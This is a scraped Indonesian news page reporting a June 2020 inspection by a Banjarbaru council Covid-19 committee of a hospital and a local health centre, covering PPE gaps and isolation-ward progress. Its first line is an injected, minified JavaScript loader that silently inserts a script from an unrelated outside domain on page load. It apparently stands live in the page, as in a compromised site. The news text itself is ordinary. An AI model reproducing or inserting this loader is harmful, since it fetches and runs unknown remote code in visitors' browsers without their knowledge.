(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Panitia Khusus (Pansus) Penanganan Covid-19 anggota DPRD Banjarbaru melakukan sidak meninjau protokol kesehatan yang diterapkan di beberapa fasilitas kesehatan (Faskes), Senin (22/6/2020).
Ketua Pansus Penanganan Covid-19 Nafsiani Samandi bersama sejumlah anggota DPRD Banjarbaru mengecek Rumah Sakit Daerah (RSD) Idaman Banjarbaru terkait pelaksanaan Standar Operasional Prosedur (SOP) Covid-19, pelayanan dalam intensitas kunjungan, hingga progres pembangunan ruang isolasi yang saat ini tengah berjalan.
Pengecekan juga dilakukan di Puskesmas Kelurahan Guntung Payung, Kecamatan Landasan Ulin, di mana wilayah ini paling banyak ditemukan kasus Covid-19.
Sekretaris Pansus Penanganan Covid-19 Emi Lasari kepada Kanalkalimantan mengatakan, ada berbagai catatan yang didapati dalam sidak ini. Seperti masih kurangnya kelengkapan Alat Pelindung Diri (APD) yang dikenakan petugas di RSD Idaman Banjarbaru.
“Petugas yang melakukan pengecekan suhu tubuh pengunjung memang sudah menggunakan masker. Tapi seharusnya dilengkapi lagi dengan face shield -pelindung wajah- melindungi diri dari potensi paparan virus corona melalui mata. Kita lihat petugas di dalam juga kurang APD,” katanya.
Selain itu, Pansus Penanganan Covid-19 DPRD Kota Banjarbaru juga menyorot pembatas sekat di bagian ruang loket pendaftaran yang hanya terpasang sebagian. Padahal, jika dibandingkan di Puskemas Guntung Payung, justru penerapannya lebih bagus.
Terlebih lagi, Emi juga menyayangkan petugas membiarkan ada anak kecil tidak mengenakan masker masuk ke dalam area RSD Idaman Banjarbaru. “Harusnya kondisi seperti itu disiasati, jangan dibiarkan berkeliaran di dalam rumah sakit,” lanjutnya.
Khusus untuk pembangunan ruang isolasi di RSD Idaman Banjarbaru, Pansus Penanganan Covid-19 juga telah menerima laporan perkembangan. Emi mengatakan, pembangunan ruang isolasi telah mencapai 80 persen dan sedang dalam tahap penyelesaian akhir.
“RSD Idaman Banjarbaru inikan menjadi salah satu rumah sakit rujukan pasien Covid-19. Maka dari itu kita ingin ruang isolasi ini secepatnya rampung. Dari data yang kita terima, ruang isolasi diperkirakan mampu menampung 29 pasien,” pungkasnya.
Seluruh hal yang menjadi catatan oleh Pansus Penanganan Covid-19 DPRD Banjarbaru akan dibawa dalam rapat pembahasan. Nantinya, pihak RSD Idaman Banjarbaru maupun Puskesmas Guntung Payung akan turut dihadirkan menindaklanjuti temuan atau kekurangan tersebut. (kanalkalimamtan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.